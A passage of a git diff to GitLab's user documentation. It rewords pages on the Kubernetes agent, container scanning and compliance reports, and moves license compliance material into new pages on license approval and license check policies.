Vulnerability Report. When you merge the branch corresponding to the pipeline into the default branch, all reported findings are combined into the [Vulnerability Report](index.md). Scan results in pipelines executed on the default branch are @@ -77,7 +77,7 @@ incorporated once the pipeline finishes. | Confirmed | No | Confirmed | | Needs triage (Detected) | No | Needs triage (Detected) | | Resolved | No | Needs triage (Detected) | -| N/A (i.e.: new vulnerability) | No | Needs triage (Detected) | +| N/A (That is: new vulnerability) | No | Needs triage (Detected) | ## Retention period for vulnerabilities diff --git a/doc/user/award_emojis.md b/doc/user/award_emojis.md index 5df38550c40..e1459717241 100644 --- a/doc/user/award_emojis.md +++ b/doc/user/award_emojis.md @@ -36,7 +36,7 @@ celebrate an accomplishment or agree with an opinion. To add an award emoji: -1. In the top right of the comment, select the smile (**{slight-smile}**). +1. In the upper right of the comment, select the smile (**{slight-smile}**). 1. Select an emoji from the dropdown list. To remove an award emoji, select the emoji again. @@ -44,11 +44,11 @@ To remove an award emoji, select the emoji again. ## Custom emojis You can upload custom emojis to a GitLab instance with the GraphQL API. -For more, visit [Use custom emojis with GraphQL](../api/graphql/custom_emoji.md). +For more information, see [Use custom emojis with GraphQL](../api/graphql/custom_emoji.md). Custom emojis don't show in the emoji picker. To use them in a text box, type the filename without the extension and surrounded by colons. For example, for a file named `thank-you.png`, type `:thank-you:`. -For the list of custom emojis available for GitLab.com, visit +For a list of custom emojis available for GitLab.com, see [the `custom_emoji` project](https://gitlab.com/custom_emoji/custom_emoji/-/tree/main/img). diff --git a/doc/user/clusters/agent/ci_cd_workflow.md b/doc/user/clusters/agent/ci_cd_workflow.md index 304bbaee256..982411d35f9 100644 --- a/doc/user/clusters/agent/ci_cd_workflow.md +++ b/doc/user/clusters/agent/ci_cd_workflow.md @@ -66,7 +66,7 @@ To authorize the agent to access the GitLab project where you keep Kubernetes ma 1. On the top bar, select **Main menu > Projects** and find the project that contains the [agent configuration file](install/index.md#create-an-agent-configuration-file) (`config.yaml`). 1. Edit the `config.yaml` file. Under the `ci_access` keyword, add the `projects` attribute. -1. For the `id`, add the path: +1. For the `id`, add the path to the project. Do not wrap the path in quotation marks. ```yaml ci_access: diff --git a/doc/user/clusters/agent/gitops.md b/doc/user/clusters/agent/gitops.md index bd7dfb3abee..787b0062017 100644 --- a/doc/user/clusters/agent/gitops.md +++ b/doc/user/clusters/agent/gitops.md @@ -115,10 +115,7 @@ The agent has [default sorting](https://github.com/kubernetes-sigs/cli-utils/blo but with annotations, you can fine-tune the order and apply time-value injection. To provide the GitOps functionality, the GitLab agent for Kubernetes uses the [`cli-utils` library](https://github.com/kubernetes-sigs/cli-utils/), -a Kubernetes SIG project. You can read more about the available annotations in the [`cli-utils` documentation](https://github.com/kubernetes-sigs/cli-utils/blob/master/README.md#apply-sort-ordering). - -- [Learn more about apply sort ordering](https://github.com/kubernetes-sigs/cli-utils#apply-sort-ordering). -- [Learn more about apply-time mutation](https://github.com/kubernetes-sigs/cli-utils#apply-time-mutation). +a Kubernetes SIG project. For more information, see the available annotations in the [`cli-utils` documentation](https://github.com/kubernetes-sigs/cli-utils/blob/master/README.md). ## Automatic drift remediation @@ -183,4 +180,4 @@ update your agent configuration file with the location of these projects. WARNING: The project with the agent's configuration file can be private or public. Other projects with Kubernetes manifests must be public. Support for private manifest projects is tracked -in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/283885). +in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/7704). diff --git a/doc/user/clusters/agent/install/index.md b/doc/user/clusters/agent/install/index.md index 62767f1dfd9..bb9a9c371a2 100644 --- a/doc/user/clusters/agent/install/index.md +++ b/doc/user/clusters/agent/install/index.md @@ -22,7 +22,7 @@ Before you can install the agent in your cluster, you need: - [Digital Ocean](https://docs.digitalocean.com/products/kubernetes/quickstart/) - On self-managed GitLab instances, a GitLab administrator must set up the [agent server](../../../../administration/clusters/kas.md). - Then it will be available by default at `wss://gitlab.example.com/-/kubernetes-agent/`. + Then it is available by default at `wss://gitlab.example.com/-/kubernetes-agent/`. On GitLab.com, the agent server is available at `wss://kas.gitlab.com`. ## Installation steps @@ -155,6 +155,10 @@ helm upgrade --install gitlab-agent gitlab/gitlab-agent \ ... ``` +NOTE: +DNS rebind protection is disabled when either the HTTP_PROXY or the HTTPS_PROXY environment variable is set, +and the domain DNS can't be resolved. + #### Advanced installation method GitLab also provides a [KPT package for the agent](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/tree/master/build/deployment/gitlab-agent). This method provides greater flexibility, but is only recommended for advanced users. diff --git a/doc/user/clusters/agent/troubleshooting.md b/doc/user/clusters/agent/troubleshooting.md index a44d1e9685b..f5f235d2758 100644 --- a/doc/user/clusters/agent/troubleshooting.md +++ b/doc/user/clusters/agent/troubleshooting.md @@ -108,7 +108,7 @@ certificate authority that is unknown to the agent. To fix this issue, you can present the CA certificate file to the agent by using a Kubernetes `configmap` and mount the file in the agent `/etc/ssl/certs` directory from where it -will be picked up automatically. +is picked up automatically. For example, if your internal CA certificate is `myCA.pem`: @@ -200,7 +200,7 @@ are stored in the repository where the agent is configured. ``` The GitLab agent performs vulnerability scans by creating a job to scan each workload. If a scan -is interrupted, these jobs may be left behind and will need to be cleaned up before more jobs can +is interrupted, these jobs may be left behind and need to be cleaned up before more jobs can be run. You can clean up these jobs by running: ```shell diff --git a/doc/user/clusters/agent/vulnerabilities.md b/doc/user/clusters/agent/vulnerabilities.md index 37d742e2b08..a71eea82df5 100644 --- a/doc/user/clusters/agent/vulnerabilities.md +++ b/doc/user/clusters/agent/vulnerabilities.md @@ -1,13 +1,13 @@ --- -stage: Configure -group: Configure +stage: Secure +group: Composition analysis info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- # Operational Container Scanning **(ULTIMATE)** > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/6346) in GitLab 14.8. -> - [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/368828) the starboard directive in GitLab 15.4. The starboard directive will be removed in GitLab 16.0. +> - [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/368828) the starboard directive in GitLab 15.4. The starboard directive is scheduled for removal in GitLab 16.0. To view cluster vulnerabilities, you can view the [vulnerability report](../../application_security/vulnerabilities/index.md). You can also configure your agent so the vulnerabilities are displayed with other agent information in GitLab. @@ -24,7 +24,7 @@ In GitLab 15.0 and later, you do not need to install Starboard operator in the K ### Enable via agent configuration To enable scanning of all images within your Kubernetes cluster via the agent configuration, add a `container_scanning` configuration block to your agent -configuration with a `cadence` field containing a [CRON expression](https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm) for when the scans will be run. +configuration with a `cadence` field containing a [CRON expression](https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm) for when the scans are run. ```yaml container_scanning: @@ -42,7 +42,7 @@ Other elements of the [CRON syntax](https://docs.oracle.com/cd/E12058_01/doc/doc NOTE: The CRON expression is evaluated in [UTC](https://www.timeanddate.com/worldclock/timezone/utc) using the system-time of the Kubernetes-agent pod. -By default, operational container scanning will attempt to scan the workloads in all +By default, operational container scanning attempts to scan the workloads in all namespaces for vulnerabilities. You can set the `vulnerability_report` block with the `namespaces` field which can be used to restrict which namespaces are scanned. For example, if you would like to scan only the `default`, `kube-system` namespaces, you can use this configuration: @@ -60,10 +60,10 @@ container_scanning: To enable scanning of all images within your Kubernetes cluster via scan execution policies, we can use the [scan execution policy editor](../../application_security/policies/scan-execution-policies.md#scan-execution-policy-editor) -in order to create a new schedule rule. +To create a new schedule rule. NOTE: -The Kubernetes agent must be running in your cluster in order to scan running container images +The Kubernetes agent must be running in your cluster to scan running container images Here is an example of a policy which enables operational container scanning within the cluster the Kubernetes agent is attached to: @@ -84,9 +84,9 @@ Here is an example of a policy which enables operational container scanning with The keys for a schedule rule are: -- `cadence` (required): a [CRON expression](https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm) for when the scans will be run +- `cadence` (required): a [CRON expression](https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm) for when the scans are run - `agents:<agent-name>` (required): The name of the agent to use for scanning -- `agents:<agent-name>:namespaces` (optional): The Kubernetes namespaces to scan. If omitted, all namespaces will be scanned +- `agents:<agent-name>:namespaces` (optional): The Kubernetes namespaces to scan. If omitted, all namespaces are scanned NOTE: Other elements of the [CRON syntax](https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm) may work in the cadence field if supported by the [cron](https://github.com/robfig/cron) we are using in our implementation, however, GitLab does not officially test or support them. diff --git a/doc/user/clusters/agent/work_with_agent.md b/doc/user/clusters/agent/work_with_agent.md index 566eae8e24e..0b0e1365604 100644 --- a/doc/user/clusters/agent/work_with_agent.md +++ b/doc/user/clusters/agent/work_with_agent.md @@ -19,6 +19,7 @@ Prerequisite: To view the list of agents: 1. On the top bar, select **Main menu > Projects** and find the project that contains your agent configuration file. + You cannot view registered agents from a project that does not contain the agent configuration file. 1. On the left sidebar, select **Infrastructure > Kubernetes clusters**. 1. Select **Agent** tab to view clusters connected to GitLab through the agent. @@ -76,7 +77,7 @@ observability: grpc_level: warn ``` -When `grpc_level` is set to `info` or below, there will be a lot of gRPC logs. +When `grpc_level` is set to `info` or below, there are a lot of gRPC logs. Commit the configuration changes and inspect the agent service logs: diff --git a/doc/user/clusters/cost_management.md b/doc/user/clusters/cost_management.md index 75bc9e23c0f..74bfab49c55 100644 --- a/doc/user/clusters/cost_management.md +++ b/doc/user/clusters/cost_management.md @@ -19,7 +19,7 @@ On self-managed GitLab, by default this feature is not available. To make it ava Cluster cost management provides insights into cluster resource usage. GitLab provides an example [`kubecost-cost-model`](https://gitlab.com/gitlab-examples/kubecost-cost-model/) project that uses the GitLab Prometheus integration and -[Kubecost's `cost-model`](https://github.com/kubecost/cost-model) to provide cluster cost +[OpenCost `cost-model`](https://github.com/opencost/opencost) to provide cluster cost insights within GitLab:  @@ -60,8 +60,8 @@ this dashboard. ### Customize the cost dashboard You can customize the cost dashboard by editing the `.gitlab/dashboards/default_costs.yml` -file or creating similar dashboard configuration files. To learn more, read about -[customizing dashboards in our documentation](../../operations/metrics/dashboards/index.md). +file or creating similar dashboard configuration files. For more information, see +[Custom dashboards](../../operations/metrics/dashboards/index.md). #### Available metrics diff --git a/doc/user/clusters/environments.md b/doc/user/clusters/environments.md index 98292cf9103..f4313656803 100644 --- a/doc/user/clusters/environments.md +++ b/doc/user/clusters/environments.md @@ -38,7 +38,7 @@ Access to cluster environments is restricted to ## Usage -In order to: +To: - Track environments for the cluster, you must [deploy to a Kubernetes cluster](../project/clusters/deploy_to_cluster.md) diff --git a/doc/user/clusters/management_project_template.md b/doc/user/clusters/management_project_template.md index 6f7fdc46ad4..9edb012ba92 100644 --- a/doc/user/clusters/management_project_template.md +++ b/doc/user/clusters/management_project_template.md @@ -75,9 +75,9 @@ The base image used in the pipeline is built by the This image contains a set of Bash utility scripts to support [Helm v3 releases](https://helm.sh/docs/intro/using_helm/#three-big-concepts). If you are on a self-managed instance of GitLab, you must modify the `.gitlab-ci.yml` file. -Specifically, the section that starts with the comment `Automatic package upgrades` will not +Specifically, the section that starts with the comment `Automatic package upgrades` does not work on a self-managed instance, because the `include` refers to a GitLab.com project. -If you remove everything below this comment, the pipeline will succeed. +If you remove everything below this comment, the pipeline succeeds. ### The main `helmfile.yml` file diff --git a/doc/user/clusters/migrating_from_gma_to_project_template.md b/doc/user/clusters/migrating_from_gma_to_project_template.md index a86a84fe9ae..e5d81091094 100644 --- a/doc/user/clusters/migrating_from_gma_to_project_template.md +++ b/doc/user/clusters/migrating_from_gma_to_project_template.md @@ -77,7 +77,7 @@ See also [video walk-throughs](#video-walk-throughs) with examples. 1. Overwrite `applications/gitlab-runner/values.yaml` with the output of the previous command. - This safe step will guarantee that no unexpected default values overwrite your currently deployed values. + This safe step guarantees that no unexpected default values overwrite your currently deployed values. For instance, your GitLab Runner could have its `gitlabUrl` or `runnerRegistrationToken` overwritten by mistake. 1. Some apps require special attention: diff --git a/doc/user/compliance/compliance_report/index.md b/doc/user/compliance/compliance_report/index.md index 0d33dfce30b..04609026793 100644 --- a/doc/user/compliance/compliance_report/index.md +++ b/doc/user/compliance/compliance_report/index.md @@ -55,9 +55,9 @@ The following is a list of violations that are either: | Violation | Severity level | Category | Description | Availability | |:-------------------------------------|:----------------|:---------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------| -| Author approved merge request | High | [Separation of duties](#separation-of-duties) | The author of the merge request approved their own merge request. [Learn more](../../project/merge_requests/approvals/settings.md#prevent-approval-by-author). | [Available in GitLab 14.10](https://gitlab.com/groups/gitlab-org/-/epics/6870) | -| Committers approved merge request | High | [Separation of duties](#separation-of-duties) | The committers of the merge request approved the merge request they contributed to. [Learn more](../../project/merge_requests/approvals/settings.md#prevent-approvals-by-users-who-add-commits). | [Available in GitLab 14.10](https://gitlab.com/groups/gitlab-org/-/epics/6870) | -| Fewer than two approvals | High | [Separation of duties](#separation-of-duties) | The merge request was merged with fewer than two approvals. [Learn more](../../project/merge_requests/approvals/rules.md). | [Available in GitLab 14.10](https://gitlab.com/groups/gitlab-org/-/epics/6870) | +| Author approved merge request | High | [Separation of duties](#separation-of-duties) | The author of the merge request approved their own merge request. For more information, see [Prevent approval by author](../../project/merge_requests/approvals/settings.md#prevent-approval-by-author). | [Available in GitLab 14.10](https://gitlab.com/groups/gitlab-org/-/epics/6870) | +| Committers approved merge request | High | [Separation of duties](#separation-of-duties) | The committers of the merge request approved the merge request they contributed to. For more information, see [Prevent approvals by users who add commits](../../project/merge_requests/approvals/settings.md#prevent-approvals-by-users-who-add-commits). | [Available in GitLab 14.10](https://gitlab.com/groups/gitlab-org/-/epics/6870) | +| Fewer than two approvals | High | [Separation of duties](#separation-of-duties) | The merge request was merged with fewer than two approvals. For more information, see [Merge request approval rules](../../project/merge_requests/approvals/rules.md). | [Available in GitLab 14.10](https://gitlab.com/groups/gitlab-org/-/epics/6870) | | Pipeline failed | Medium | [Pipeline results](../../../ci/pipelines/index.md) | The merge requests pipeline failed and was merged. | [Unavailable](https://gitlab.com/gitlab-org/gitlab/-/issues/346011) | | Pipeline passed with warnings | Info | [Pipeline results](../../../ci/pipelines/index.md) | The merge request pipeline passed with warnings and was merged. | [Unavailable](https://gitlab.com/gitlab-org/gitlab/-/issues/346011) | | Code coverage down more than 10% | High | [Code coverage](../../../ci/pipelines/settings.md#merge-request-test-coverage-results) | The code coverage report for the merge request indicates a reduction in coverage of more than 10%. | [Unavailable](https://gitlab.com/gitlab-org/gitlab/-/issues/346011) | @@ -95,12 +95,35 @@ Our criteria for the separation of duties is as follows: > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213364) in GitLab 13.3. > - Chain of Custody reports sent using email [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/342594) in GitLab 15.3 with a flag named `async_chain_of_custody_report`. Disabled by default. > - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/370100) in GitLab 15.5. Feature flag `async_chain_of_custody_report` removed. +> - Chain of Custody report includes all commits (instead of just merge commits) [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267601) in GitLab 15.9 with a flag named `all_commits_compliance_report`. Disabled by default. + +FLAG: +On self-managed GitLab, by default the Chain of Custody report only contains information on merge commits. To make the report contain information on all commits to projects within a group, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `all_commits_compliance_report`. On GitLab.com, this feature is not available. The Chain of Custody report allows customers to export a list of merge commits within the group. The data provides a comprehensive view with respect to merge commits. It includes the merge commit SHA, merge request author, merge request ID, merge user, date merged, pipeline ID, group name, project name, and merge request approvers. Depending on the merge strategy, the merge commit SHA can be a merge commit, squash commit, or a diff head commit. +With the `all_commits_compliance_report` flag enabled, the Chain of Custody report provides a 1 month trailing window of any commit into a project under the group. + +To generate the report for all commits, GitLab: + +1. Fetches all projects under the group. +1. For each project, fetches the last 1 month of commits. Each project is capped at 1024 commits. If there are more than 1024 commits in the 1-month window, they + are truncated. +1. Writes the commits to a CSV file. The file is truncated at 15 MB because the report is emailed as an attachment. + +The expanded report includes the commit SHA, commit author, committer, date committed, the group, and the project. +If the commit has a related merge commit, then the following are also included: + +- Merge commit SHA. +- Merge request ID. +- User who merged the merge request. +- Merge date. +- Pipeline ID. +- Merge request approvers. + To generate the Chain of Custody report: 1. On the top bar, select **Main menu > Groups** and find your group. diff --git a/doc/user/compliance/license_compliance/img/denied_licenses_v15_3.png b/doc/user/compliance/img/denied_licenses_v15_3.png Binary files differindex 4ed84047133..4ed84047133 100644 --- a/doc/user/compliance/license_compliance/img/denied_licenses_v15_3.png +++ b/doc/user/compliance/img/denied_licenses_v15_3.png diff --git a/doc/user/compliance/license_compliance/img/license-check_v13_4.png b/doc/user/compliance/img/license-check_v13_4.png Binary files differindex bc80f938395..bc80f938395 100644 --- a/doc/user/compliance/license_compliance/img/license-check_v13_4.png +++ b/doc/user/compliance/img/license-check_v13_4.png diff --git a/doc/user/compliance/img/license_approval_policy_v15_9.png b/doc/user/compliance/img/license_approval_policy_v15_9.png Binary files differnew file mode 100644 index 00000000000..43b1f89a07c --- /dev/null +++ b/doc/user/compliance/img/license_approval_policy_v15_9.png diff --git a/doc/user/compliance/license_compliance/img/license_list_v13_0.png b/doc/user/compliance/img/license_list_v13_0.png Binary files differindex 3c15d4fc99a..3c15d4fc99a 100644 --- a/doc/user/compliance/license_compliance/img/license_list_v13_0.png +++ b/doc/user/compliance/img/license_list_v13_0.png diff --git a/doc/user/compliance/license_compliance/img/policies_maintainer_add_v14_3.png b/doc/user/compliance/img/policies_maintainer_add_v14_3.png Binary files differindex 7a27899f8c9..7a27899f8c9 100644 --- a/doc/user/compliance/license_compliance/img/policies_maintainer_add_v14_3.png +++ b/doc/user/compliance/img/policies_maintainer_add_v14_3.png diff --git a/doc/user/compliance/license_compliance/img/policies_maintainer_edit_v14_3.png b/doc/user/compliance/img/policies_maintainer_edit_v14_3.png Binary files differindex 256c66bf7d8..256c66bf7d8 100644 --- a/doc/user/compliance/license_compliance/img/policies_maintainer_edit_v14_3.png +++ b/doc/user/compliance/img/policies_maintainer_edit_v14_3.png diff --git a/doc/user/compliance/license_compliance/img/policies_v13_0.png b/doc/user/compliance/img/policies_v13_0.png Binary files differindex 4918a0e6b62..4918a0e6b62 100644 --- a/doc/user/compliance/license_compliance/img/policies_v13_0.png +++ b/doc/user/compliance/img/policies_v13_0.png diff --git a/doc/user/compliance/license_approval_policies.md b/doc/user/compliance/license_approval_policies.md new file mode 100644 index 00000000000..32c90a1d317 --- /dev/null +++ b/doc/user/compliance/license_approval_policies.md @@ -0,0 +1,58 @@ +--- +type: reference, howto +stage: Govern +group: Security Policies +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# License Approval Policies **(ULTIMATE)** + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/8092) in GitLab 15.9 [with a flag](../../administration/feature_flags.md) named `license_scanning_policies`. Disabled by default. + +License Approval Policies allow you to specify multiple types of criteria that define when approval is required before a merge request can be merged in. + +## Create a new license approval policy + +Create a license approval policy to enforce license compliance. + +To create a license approval policy: + +1. [Link a security policy project](../application_security/policies/index.md#managing-the-linked-security-policy-project) to your development group, subgroup, or project (the Owner role is required). +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Security & Compliance > Policies**. +1. Create a new [Scan Result Policy](../application_security/policies/scan-result-policies.md). +1. In your policy rule, select **License scanning**. + +## Criteria defining which licenses require approval + +The following types of criteria can be used to determine which licenses are "approved" or "denied" and require approval. + +- When any license in a list of explicitly prohibited licenses is detected. +- When any license is detected except for licenses that have been explicitly listed as acceptable. + +## Criteria comparing licenses detected in the merge request branch to licenses detected in the default branch + +The following types of criteria can be used to determine whether or not approval is required based on the licenses that exist in the default branch: + +- Denied licenses can be configured to only require approval if the denied license is part of a dependency that does not already exist in the default branch. +- Denied licenses can be configured to require approval if the denied license exists in any component that already exists in the default branch. + + + +If a license is found that violates the license approval policy, it blocks the merge request and instructs the developer to remove it. Note, the merge request is not able to be merged until the `denied` license is removed unless an eligible approver for the License Approval Policy approves the merge request. + + + +## Troubleshooting + +### The License Compliance widget is stuck in a loading state + +A loading spinner is displayed in the following scenarios: + +- While the pipeline is in progress. +- If the pipeline is complete, but still parsing the results in the background. +- If the license scanning job is complete, but the pipeline is still running. + +The License Compliance widget polls every few seconds for updated results. When the pipeline is complete, the first poll after pipeline completion triggers the parsing of the results. This can take a few seconds depending on the size of the generated report. + +The final state is when a successful pipeline run has been completed, parsed, and the licenses displayed in the widget. diff --git a/doc/user/compliance/license_check_rules.md b/doc/user/compliance/license_check_rules.md new file mode 100644 index 00000000000..968cf49ffdf --- /dev/null +++ b/doc/user/compliance/license_check_rules.md @@ -0,0 +1,84 @@ +--- +type: reference, howto +stage: Govern +group: Security Policies +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# License Check Policies (DEPRECATED) **(ULTIMATE)** + +> [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/390417) in GitLab 15.9. + +WARNING: +This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/390417) in GitLab 15.9. Users should migrate over to use [License Approval Policies](license_approval_policies.md) prior to GitLab 16.0. + +License check policies allow you to specify licenses that are `allowed` or `denied` in a project. If a `denied` +license is newly committed it blocks the merge request and instructs the developer to remove it. +Note, the merge request is not able to be merged until the `denied` license is removed. +You may add a [`License-Check` approval rule](#enabling-license-approvals-within-a-project), +which enables a designated approver that can approve and then merge a merge request with `denied` license. + +These policies can be configured by using the [Managed Licenses API](../../api/managed_licenses.md). + + + +The **Policies** tab in the project's license compliance section displays your project's license +policies. Project maintainers can specify policies in this section. + + + + + +Developers of the project can view the policies configured in a project. + + + +## Enabling License Approvals within a project + +Prerequisites: + +- Maintainer or Owner role. + +`License-Check` is a [merge request approval](../project/merge_requests/approvals/index.md) rule +you can enable to allow an individual or group to approve a merge request that contains a `denied` +license. + +You can enable `License-Check` one of two ways: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > General**. +1. Expand **Merge request approvals**. +1. Select **Enable** or **Edit**. +1. Add or change the **Rule name** to `License-Check` (case sensitive). + + + +- Create an approval group in the [project policies section for License Compliance](license_check_rules.md#license-check-policies-deprecated). + You must set this approval group's number of approvals required to greater than zero. After you + enable this group in your project, the approval rule is enabled for all merge requests. + +Any code changes cause the approvals required to reset. + +An approval is required when a license report: + +- Contains a dependency that includes a software license that is `denied`. +- Is not generated during pipeline execution. + +An approval is optional when a license report: + +- Contains no software license violations. +- Contains only new licenses that are `allowed` or unknown. + +## Troubleshooting + +### The License Compliance widget is stuck in a loading state + +A loading spinner is displayed in the following scenarios: + +- While the pipeline is in progress. +- If the pipeline is complete, but still parsing the results in the background. +- If the license scanning job is complete, but the pipeline is still running. + +The License Compliance widget polls every few seconds for updated results. When the pipeline is complete, the first poll after pipeline completion triggers the parsing of the results. This can take a few seconds depending on the size of the generated report. + +The final state is when a successful pipeline run has been completed, parsed, and the licenses displayed in the widget. diff --git a/doc/user/compliance/license_compliance/img/license_compliance_v13_0.png b/doc/user/compliance/license_compliance/img/license_compliance_v13_0.png Binary files differdeleted file mode 100644 index 20ed30a21e7..00000000000 --- a/doc/user/compliance/license_compliance/img/license_compliance_v13_0.png +++ /dev/null diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md index cf9fac6b25d..43e88e89c18 100644 --- a/doc/user/compliance/license_compliance/index.md +++ b/doc/user/compliance/license_compliance/index.md @@ -5,9 +5,13 @@ group: Composition Analysis info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# License compliance **(ULTIMATE)** +# License compliance (DEPRECATED) **(ULTIMATE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5483) in GitLab 11.0. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5483) in GitLab 11.0. +> - [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387561) in GitLab 15.9. + +WARNING: +This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387561) in GitLab 15.9. Users should migrate over to use the [new method of license scanning](../license_scanning_of_cyclonedx_files/index.md) prior to GitLab 16.0. If you're using [GitLab CI/CD](../../../ci/index.md), you can use License Compliance to search your project's dependencies for their licenses. You can then decide whether to allow or deny the use of @@ -21,12 +25,17 @@ For the job to activate, License Finder needs to find a compatible package defin GitLab checks the License Compliance report, compares the licenses between the source and target branches, and shows the information right on the merge request. Denied licenses are indicated by a `x` red icon next to them as well as new licenses that -need a decision from you. In addition, you can [manually allow or deny](#policies) licenses in your +need a decision from you. In addition, you can [manually allow or deny](../license_check_rules.md) licenses in your project's license compliance policy section. If a denied license is detected in a new commit, GitLab blocks any merge requests containing that commit and instructs the developer to remove the license. NOTE: +Starting with GitLab 15.9, License Compliance can detect the licenses in use +[using Dependency Scanning CI jobs](../license_scanning_of_cyclonedx_files/index.md) +instead of the License Scanning ones. + +NOTE: If the license compliance report doesn't have anything to compare to, no information is displayed in the merge request area. That is the case when you add the `license_scanning` job in your `.gitlab-ci.yml` for the first time. @@ -40,23 +49,11 @@ that you can later download and analyze. WARNING: License Compliance Scanning does not support run-time installation of compilers and interpreters. - - -You can select a license to see more information. - -When GitLab detects a **Denied** license, you can view it in the [license list](#license-list). - - - -You can view and modify existing policies from the [policies](#policies) tab. - - - ## License expressions -GitLab has limited support for [composite licenses](https://spdx.github.io/spdx-spec/SPDX-license-expressions/). +GitLab has limited support for [composite licenses](https://spdx.github.io/spdx-spec/v2-draft/SPDX-license-expressions/). License compliance can read multiple licenses, but always considers them combined using the `AND` operator. For example, -if a dependency has two licenses, and one of them is allowed and the other is denied by the project [policy](#policies), +if a dependency has two licenses, and one of them is allowed and the other is denied by the project [policy](../license_check_rules.md), GitLab evaluates the composite license as _denied_, as this is the safer option. The ability to support other license expression operators (like `OR`, `WITH`) is tracked in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/6571). @@ -696,117 +693,18 @@ Additional configuration may be needed for connecting to private registries for: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/212388) in GitLab 13.3. -Prior to GitLab 13.3, offline environments required an exact name match for [project policies](#policies). -In GitLab 13.3 and later, GitLab matches the name of [project policies](#policies) +Prior to GitLab 13.3, offline environments required an exact name match for [project policies](../license_check_rules.md). +In GitLab 13.3 and later, GitLab matches the name of [project policies](../license_check_rules.md) with identifiers from the [SPDX license list](https://spdx.org/licenses/). A local copy of the SPDX license list is distributed with the GitLab instance. If needed, the GitLab instance's administrator can manually update it with a [Rake task](../../../raketasks/spdx.md). -## License list - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13582) in GitLab 12.7. - -The License list allows you to see your project's licenses and key -details about them. - -For the licenses to appear under the license list, the following -requirements must be met: - -1. The License Compliance CI/CD job must be [enabled](#enable-license-compliance) for your project. -1. Your project must use at least one of the - [supported languages and package managers](#supported-languages-and-package-managers). - -When everything is configured, on the left sidebar, select **Security & Compliance > License Compliance**. - -The licenses are displayed, where: - -- **Name:** The name of the license. -- **Component:** The components which have this license. -- **Policy Violation:** The license has a [license policy](#policies) marked as **Deny**. - - - -## Policies - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22465) in GitLab 12.9. - -Policies allow you to specify licenses that are `allowed` or `denied` in a project. If a `denied` -license is newly committed it blocks the merge request and instructs the developer to remove it. -Note, the merge request is not able to be merged until the `denied` license is removed. -You may add a [`License-Check` approval rule](#enabling-license-approvals-within-a-project), -which enables a designated approver that can approve and then merge a merge request with `denied` license. - -These policies can be configured by using the [Managed Licenses API](../../../api/managed_licenses.md). - - - -The **Policies** tab in the project's license compliance section displays your project's license -policies. Project maintainers can specify policies in this section. - - - - - -Developers of the project can view the policies configured in a project. - - - -## Enabling License Approvals within a project - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13067) in GitLab 12.3. - -Prerequisites: - -- Maintainer or Owner role. - -`License-Check` is a [merge request approval](../../project/merge_requests/approvals/index.md) rule -you can enable to allow an individual or group to approve a merge request that contains a `denied` -license. - -You can enable `License-Check` one of two ways: - -1. On the top bar, select **Main menu > Projects** and find your project. -1. On the left sidebar, select **Settings > General**. -1. Expand **Merge request approvals**. -1. Select **Enable** or **Edit**. -1. Add or change the **Rule name** to `License-Check` (case sensitive). - - - -- Create an approval group in the [project policies section for License Compliance](#policies). - You must set this approval group's number of approvals required to greater than zero. Once you - enable this group in your project, the approval rule is enabled for all merge requests. - -Any code changes cause the approvals required to reset. - -An approval is required when a license report: - -- Contains a dependency that includes a software license that is `denied`. -- Is not generated during pipeline execution. - -An approval is optional when a license report: - -- Contains no software license violations. -- Contains only new licenses that are `allowed` or unknown. - ## Warnings We recommend that you use the most recent version of all containers, and the most recent supported version of all package managers and languages. Using previous versions carries an increased security risk because unsupported versions may no longer benefit from active security reporting and backporting of security fixes. ## Troubleshooting -### The License Compliance widget is stuck in a loading state - -A loading spinner is displayed in the following scenarios: - -- While the pipeline is in progress. -- If the pipeline is complete, but still parsing the results in the background. -- If the license scanning job is complete, but the pipeline is still running. - -The License Compliance widget polls every few seconds for updated results. When the pipeline is complete, the first poll after pipeline completion triggers the parsing of the results. This can take a few seconds depending on the size of the generated report. - -The final state is when a successful pipeline run has been completed, parsed, and the licenses displayed 